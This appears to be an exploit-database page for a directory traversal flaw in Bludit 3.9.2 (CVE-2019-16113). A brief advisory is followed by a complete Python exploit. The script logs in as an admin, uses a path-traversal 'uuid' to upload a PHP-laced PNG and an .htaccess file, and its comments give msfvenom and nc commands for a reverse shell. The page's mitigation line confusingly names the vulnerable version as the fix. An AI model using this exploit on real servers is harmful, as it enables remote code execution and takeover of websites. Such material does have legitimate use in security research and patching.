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vendor:
Bludit
by:
James Green
8.8
CVSS
HIGH
Directory Traversal
22
CWE
Product Name: Bludit
Affected Version From: 3.9.2
Affected Version To: 3.9.2
Patch Exists: YES
Related CWE: CVE-2019-16113
CPE: a:bludit:bludit:3.9.2
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Linux Ubuntu 19.10 Eoan
2020

Bludit 3.9.2 – Directory Traversal

Bludit 3.9.2 is vulnerable to a directory traversal vulnerability. An attacker can exploit this vulnerability to upload arbitrary files to the web server, which can lead to remote code execution. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'dir' parameter of the 'upload-images' AJAX request. An attacker can exploit this vulnerability by sending a specially crafted AJAX request with a malicious file to the vulnerable application. Successful exploitation of this vulnerability can result in remote code execution.

Mitigation:

Upgrade to the latest version of Bludit 3.9.2 or later.
Source

Exploit-DB raw data:

# Title: Bludit 3.9.2 - Directory Traversal
# Author: James Green
# Date: 2020-07-20
# Vendor Homepage: https://www.bludit.com
# Software Link: https://github.com/bludit/bludit
# Version: 3.9.2
# Tested on: Linux Ubuntu 19.10 Eoan
# CVE: CVE-2019-16113
# 
# Special Thanks to Ali Faraj (@InfoSecAli) and authors of MSF Module https://www.exploit-db.com/exploits/47699

#### USAGE ####
# 1. Create payloads: .png with PHP payload and the .htaccess to treat .pngs like PHP
# 2. Change hardcoded values: URL is your target webapp, username and password is admin creds to get to the admin dir
# 3. Run the exploit
# 4. Start a listener to match your payload: `nc -nlvp 53`, meterpreter multi handler, etc
# 5. Visit your target web app and open the evil picture: visit url + /bl-content/tmp/temp/evil.png

#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://127.0.0.1'  # CHANGE ME
username = 'James'  # CHANGE ME
password = 'Summer2020'  # CHANGE ME

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png 
payload = 'evil.png'  # CREATE ME

# echo "RewriteEngine off" > .htaccess
# echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # CREATE ME

def login(url,username,password):
    """ Log in with provided admin creds, grab the cookie once authenticated """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ Grab the CSRF token from an authed session """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ Upload files required for to execute PHP from malicious image files. Payload and .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # On the vuln app, this line occurs first:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # Even though there is a file extension check, it won't really stop us
        # from uploading the .htaccess file.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("Uploading payload: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)